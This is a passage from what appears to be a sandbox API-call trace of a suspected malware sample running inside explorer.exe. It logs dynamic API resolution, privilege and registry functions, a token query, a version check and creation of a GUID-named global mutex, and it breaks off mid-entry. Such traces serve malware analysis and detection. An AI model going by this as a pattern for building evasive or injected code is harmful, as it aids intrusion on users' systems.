[0290.799] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x1b) returned 0x473f6b0 [0290.799] GetProcAddress (hModule=0x74560000, lpProcName="InterlockedCompareExchange") returned 0x745773a0 [0290.799] lstrlenA (lpString="InterlockedCompareExchange") returned 26 [0290.799] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.799] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x11) returned 0x473f6b0 [0290.799] GetProcAddress (hModule=0x74560000, lpProcName="GetThreadContext") returned 0x74575580 [0290.799] lstrlenA (lpString="GetThreadContext") returned 16 [0290.799] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.799] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xa) returned 0x473f6b0 [0290.799] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x777e0000 [0290.800] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x19) returned 0x473f6c8 [0290.800] GetProcAddress (hModule=0x777e0000, lpProcName="ZwQueryInformationThread") returned 0x77851f60 [0290.800] lstrlenA (lpString="ZwQueryInformationThread") returned 24 [0290.800] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6c8 | out: hHeap=0x46c0000) returned 1 [0290.800] lstrlenA (lpString="ntdll.dll") returned 9 [0290.800] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.800] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xe) returned 0x473f6b0 [0290.800] GetProcAddress (hModule=0x777e0000, lpProcName="RtlGetVersion") returned 0x7780fff0 [0290.800] lstrlenA (lpString="RtlGetVersion") returned 13 [0290.800] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.800] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6b0 [0290.800] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77230000 [0290.800] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x16) returned 0x473f6c8 [0290.800] GetProcAddress (hModule=0x77230000, lpProcName="AdjustTokenPrivileges") returned 0x7724ffa0 [0290.800] lstrlenA (lpString="AdjustTokenPrivileges") returned 21 [0290.801] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6c8 | out: hHeap=0x46c0000) returned 1 [0290.801] lstrlenA (lpString="advapi32.dll") returned 12 [0290.801] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.801] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xe) returned 0x473f6b0 [0290.801] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExA") returned 0x7724f210 [0290.801] lstrlenA (lpString="RegOpenKeyExA") returned 13 [0290.801] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.801] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x10) returned 0x473f6b0 [0290.801] GetProcAddress (hModule=0x77230000, lpProcName="RegCreateKeyExA") returned 0x7724f560 [0290.801] lstrlenA (lpString="RegCreateKeyExA") returned 15 [0290.801] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.801] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x11) returned 0x473f6b0 [0290.801] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyA") returned 0x7724fe20 [0290.801] lstrlenA (lpString="RegQueryInfoKeyA") returned 16 [0290.801] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.801] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xe) returned 0x473f6b0 [0290.801] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueA") returned 0x77251940 [0290.801] lstrlenA (lpString="RegEnumValueA") returned 13 [0290.801] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.801] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xe) returned 0x473f6b0 [0290.802] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumKeyExA") returned 0x77251960 [0290.802] lstrlenA (lpString="RegEnumKeyExA") returned 13 [0290.802] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.802] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f6b0 [0290.802] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExA") returned 0x7724ffc0 [0290.802] lstrlenA (lpString="RegSetValueExA") returned 14 [0290.802] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.802] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x11) returned 0x473f6b0 [0290.803] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryValueExA") returned 0x7724f020 [0290.803] lstrlenA (lpString="RegQueryValueExA") returned 16 [0290.803] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.803] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xc) returned 0x473f6b0 [0290.803] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0290.803] lstrlenA (lpString="RegCloseKey") returned 11 [0290.803] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.803] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x10) returned 0x473f6b0 [0290.803] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueA") returned 0x772507a0 [0290.803] lstrlenA (lpString="RegDeleteValueA") returned 15 [0290.803] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.803] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x19) returned 0x473f6b0 [0290.803] GetProcAddress (hModule=0x77230000, lpProcName="AllocateAndInitializeSid") returned 0x7724f440 [0290.803] lstrlenA (lpString="AllocateAndInitializeSid") returned 24 [0290.803] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.803] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x11) returned 0x473f6b0 [0290.804] GetProcAddress (hModule=0x77230000, lpProcName="SetEntriesInAclA") returned 0x772536e0 [0290.804] lstrlenA (lpString="SetEntriesInAclA") returned 16 [0290.804] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.804] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x16) returned 0x473f6b0 [0290.804] GetProcAddress (hModule=0x77230000, lpProcName="SetNamedSecurityInfoA") returned 0x772534a0 [0290.804] lstrlenA (lpString="SetNamedSecurityInfoA") returned 21 [0290.804] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.804] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x11) returned 0x473f6b0 [0290.804] GetProcAddress (hModule=0x77230000, lpProcName="SetFileSecurityW") returned 0x77250920 [0290.804] lstrlenA (lpString="SetFileSecurityW") returned 16 [0290.804] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.804] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x8) returned 0x473f6b0 [0290.804] GetProcAddress (hModule=0x77230000, lpProcName="FreeSid") returned 0x7724fa80 [0290.804] lstrlenA (lpString="FreeSid") returned 7 [0290.804] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.804] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x12) returned 0x473f6b0 [0290.805] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidA") returned 0x772750b0 [0290.805] lstrlenA (lpString="LookupAccountSidA") returned 17 [0290.805] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.805] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x12) returned 0x473f6b0 [0290.805] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0290.805] lstrlenA (lpString="LookupAccountSidW") returned 17 [0290.805] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.805] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x15) returned 0x473f6b0 [0290.805] GetProcAddress (hModule=0x77230000, lpProcName="CreateProcessAsUserW") returned 0x77250690 [0290.805] lstrlenA (lpString="CreateProcessAsUserW") returned 20 [0290.805] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.805] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xc) returned 0x473f6b0 [0290.805] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x74720000 [0290.806] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xe) returned 0x473f6c8 [0290.806] GetProcAddress (hModule=0x74720000, lpProcName="ShellExecuteW") returned 0x748842e0 [0290.806] lstrlenA (lpString="ShellExecuteW") returned 13 [0290.806] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6c8 | out: hHeap=0x46c0000) returned 1 [0290.806] lstrlenA (lpString="shell32.dll") returned 11 [0290.806] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.806] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xb) returned 0x473f6b0 [0290.806] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0290.806] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xc) returned 0x473f6c8 [0290.806] GetProcAddress (hModule=0x76850000, lpProcName="EnumWindows") returned 0x7686a3c0 [0290.806] lstrlenA (lpString="EnumWindows") returned 11 [0290.806] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6c8 | out: hHeap=0x46c0000) returned 1 [0290.806] lstrlenA (lpString="user32.dll") returned 10 [0290.806] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.806] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xc) returned 0x473f6b0 [0290.806] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x76bd0000 [0290.807] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x9) returned 0x473f6c8 [0290.807] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIA") returned 0x76be8370 [0290.807] lstrlenA (lpString="StrStrIA") returned 8 [0290.807] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6c8 | out: hHeap=0x46c0000) returned 1 [0290.807] lstrlenA (lpString="shlwapi.dll") returned 11 [0290.807] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.807] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x9) returned 0x473f6b0 [0290.807] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIW") returned 0x76be4390 [0290.807] lstrlenA (lpString="StrStrIW") returned 8 [0290.807] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.807] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x9) returned 0x473f6b0 [0290.807] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpIW") returned 0x76be1660 [0290.807] lstrlenA (lpString="StrCmpIW") returned 8 [0290.807] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.807] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6b0 [0290.808] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineA") returned 0x76bebf40 [0290.808] lstrlenA (lpString="PathCombineA") returned 12 [0290.808] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.808] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6b0 [0290.808] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineW") returned 0x76be8890 [0290.808] lstrlenA (lpString="PathCombineW") returned 12 [0290.808] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.808] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f6b0 [0290.808] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecA") returned 0x76bec2a0 [0290.808] lstrlenA (lpString="PathMatchSpecA") returned 14 [0290.808] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.808] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f6b0 [0290.809] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecW") returned 0x76bec300 [0290.809] lstrlenA (lpString="PathMatchSpecW") returned 14 [0290.809] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.809] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x13) returned 0x473f6b0 [0290.809] GetProcAddress (hModule=0x76bd0000, lpProcName="PathUnquoteSpacesW") returned 0x76be4a50 [0290.809] lstrlenA (lpString="PathUnquoteSpacesW") returned 18 [0290.809] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.809] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x9) returned 0x473f6b0 [0290.809] GetProcAddress (hModule=0x76bd0000, lpProcName="StrTrimW") returned 0x76be7300 [0290.809] lstrlenA (lpString="StrTrimW") returned 8 [0290.809] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.809] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xa) returned 0x473f6b0 [0290.810] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpNIA") returned 0x76beca70 [0290.810] lstrlenA (lpString="StrCmpNIA") returned 9 [0290.810] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.810] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x8) returned 0x473f6b0 [0290.810] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrW") returned 0x76be7850 [0290.810] lstrlenA (lpString="StrStrW") returned 7 [0290.810] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.810] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6b0 [0290.810] LoadLibraryA (lpLibFileName="setupapi.dll") returned 0x76430000 [0290.817] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x16) returned 0x473f6c8 [0290.817] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiEnumDeviceInfo") returned 0x76448a60 [0290.817] lstrlenA (lpString="SetupDiEnumDeviceInfo") returned 21 [0290.817] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6c8 | out: hHeap=0x46c0000) returned 1 [0290.817] lstrlenA (lpString="setupapi.dll") returned 12 [0290.817] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.817] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x1d) returned 0x473f6b0 [0290.817] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiDestroyDeviceInfoList") returned 0x76448640 [0290.817] lstrlenA (lpString="SetupDiDestroyDeviceInfoList") returned 28 [0290.818] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.818] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x15) returned 0x473f6b0 [0290.818] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetClassDevsA") returned 0x76458af0 [0290.818] lstrlenA (lpString="SetupDiGetClassDevsA") returned 20 [0290.818] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.818] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x22) returned 0x473f6b0 [0290.818] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetDeviceRegistryPropertyA") returned 0x764580f0 [0290.818] lstrlenA (lpString="SetupDiGetDeviceRegistryPropertyA") returned 33 [0290.818] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6b0 | out: hHeap=0x46c0000) returned 1 [0290.818] GetCurrentProcess () returned 0xffffffff [0290.819] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x287fbac | out: TokenHandle=0x287fbac*=0x2d0) returned 1 [0290.819] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x287fb8c | out: TokenInformation=0x0, ReturnLength=0x287fb8c) returned 0 [0290.819] GetLastError () returned 0x7a [0290.819] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x24) returned 0x473f6b0 [0290.819] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x473f6b0, TokenInformationLength=0x24, ReturnLength=0x287fba8 | out: TokenInformation=0x473f6b0, ReturnLength=0x287fba8) returned 1 [0290.819] CloseHandle (hObject=0x2d0) returned 1 [0290.820] GetModuleHandleA (lpModuleName="kernel32") returned 0x74560000 [0290.820] GetProcAddress (hModule=0x74560000, lpProcName="IsWow64Process") returned 0x74575a20 [0290.820] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28b2140, nSize=0x105 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\explorer.exe" (normalized: "c:\\windows\\syswow64\\explorer.exe")) returned 0x20 [0290.820] GetVersionExA (in: lpVersionInformation=0x28b08e0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x28b08e0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0290.927] lstrlenA (lpString="xafpqko") returned 7 [0290.927] lstrlenA (lpString=".") returned 1 [0290.927] lstrlenA (lpString="q") returned 1 [0290.927] lstrlenA (lpString="b") returned 1 [0290.927] lstrlenA (lpString="1") returned 1 [0290.927] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xc) returned 0x473f6e0 [0290.927] lstrcatA (in: lpString1="", lpString2="xafpqko" | out: lpString1="xafpqko") returned="xafpqko" [0290.927] lstrcatA (in: lpString1="xafpqko", lpString2="." | out: lpString1="xafpqko.") returned="xafpqko." [0290.927] lstrcatA (in: lpString1="xafpqko.", lpString2="q" | out: lpString1="xafpqko.q") returned="xafpqko.q" [0290.927] lstrcatA (in: lpString1="xafpqko.q", lpString2="b" | out: lpString1="xafpqko.qb") returned="xafpqko.qb" [0290.927] lstrcatA (in: lpString1="xafpqko.qb", lpString2="1" | out: lpString1="xafpqko.qb1") returned="xafpqko.qb1" [0290.927] lstrlenA (lpString="xafpqko.qb1") returned 11 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] lstrlenA (lpString="user32.dll") returned 10 [0290.928] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x47) returned 0x473f6f8 [0290.928] _vsnprintf (in: _DstBuf=0x287fb78, _MaxCount=0x28, _Format="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}", _ArgList=0x287f118 | out: _DstBuf="{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 38 [0290.928] lstrlenA (lpString="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}") returned 70 [0290.928] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.928] lstrlenA (lpString="Global") returned 6 [0290.928] lstrlenA (lpString="\\") returned 1 [0290.928] lstrlenA (lpString="{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 38 [0290.929] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x2e) returned 0x473f6f8 [0290.929] lstrcatA (in: lpString1="", lpString2="Global" | out: lpString1="Global") returned="Global" [0290.929] lstrcatA (in: lpString1="Global", lpString2="\\" | out: lpString1="Global\\") returned="Global\\" [0290.929] lstrcatA (in: lpString1="Global\\", lpString2="{A2BFDB87-353A-4FF0-949C-48D58EAD9552}" | out: lpString1="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}" [0290.929] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 0x2d0 [0290.929] GetLastError () returned 0x0 [0290.929] lstrlenA (lpString="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 45 [0290.929] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.929] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6f8 [0290.929] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xf) returned 0x473f710 [0290.929] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0290.929] lstrlenA (lpString="kernel32.dll") returned 12 [0290.929] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.930] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0290.930] lstrlenA (lpString="GetProcAddress") returned 14 [0290.930] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f710 | out: hHeap=0x46c0000) returned 1 [0290.930] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xb) returned 0x473f6f8 [0290.930] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0290.930] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xc) returned 0x473f710 [0290.930] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bd740 [0290.930] lstrlenA (lpString="MessageBoxA") returned 11 [0290.930] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f710 | out: hHeap=0x46c0000) returned 1 [0290.930] lstrlenA (lpString="user32.dll") returned 10 [0290.930] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.930] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xc) returned 0x473f6f8 [0290.930] GetProcAddress (hModule=0x76850000, lpProcName="FindWindowA") returned 0x76867a80 [0290.930] lstrlenA (lpString="FindWindowA") returned 11 [0290.930] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.930] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6f8 [0290.930] GetProcAddress (hModule=0x76850000, lpProcName="SendMessageA") returned 0x76860630 [0290.931] lstrlenA (lpString="SendMessageA") returned 12 [0290.931] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.931] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6f8 [0290.931] GetProcAddress (hModule=0x76850000, lpProcName="PostMessageA") returned 0x7686b8d0 [0290.931] lstrlenA (lpString="PostMessageA") returned 12 [0290.931] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.931] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x14) returned 0x473f6f8 [0290.931] GetProcAddress (hModule=0x76850000, lpProcName="GetForegroundWindow") returned 0x76883420 [0290.931] lstrlenA (lpString="GetForegroundWindow") returned 19 [0290.931] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.931] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x11) returned 0x473f6f8 [0290.931] GetProcAddress (hModule=0x76850000, lpProcName="RegisterClassExA") returned 0x76868260 [0290.931] lstrlenA (lpString="RegisterClassExA") returned 16 [0290.931] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.931] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x10) returned 0x473f6f8 [0290.931] GetProcAddress (hModule=0x76850000, lpProcName="CreateWindowExA") returned 0x76871470 [0290.931] lstrlenA (lpString="CreateWindowExA") returned 15 [0290.931] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.932] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xb) returned 0x473f6f8 [0290.932] GetProcAddress (hModule=0x76850000, lpProcName="ShowWindow") returned 0x76883ee0 [0290.932] lstrlenA (lpString="ShowWindow") returned 10 [0290.932] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.932] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xd) returned 0x473f6f8 [0290.932] GetProcAddress (hModule=0x76850000, lpProcName="UpdateWindow") returned 0x76862b80 [0290.932] lstrlenA (lpString="UpdateWindow") returned 12 [0290.932] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.932] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0xc) returned 0x473f6f8 [0290.932] GetProcAddress (hModule=0x76850000, lpProcName="GetMessageA") returned 0x7686bdf0 [0290.932] lstrlenA (lpString="GetMessageA") returned 11 [0290.932] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: hHeap=0x46c0000) returned 1 [0290.932] RtlAllocateHeap (HeapHandle=0x46c0000, Flags=0x8, Size=0x11) returned 0x473f6f8 [0290.932] GetProcAddress (hModule=0x76850000, lpProcName="TranslateMessage") returned 0x7687f900 [0290.932] lstrlenA (lpString="TranslateMessage") returned 16 [0290.932] HeapFree (in: hHeap=0x46c0000, dwFlags=0x0, lpMem=0x473f6f8 | out: 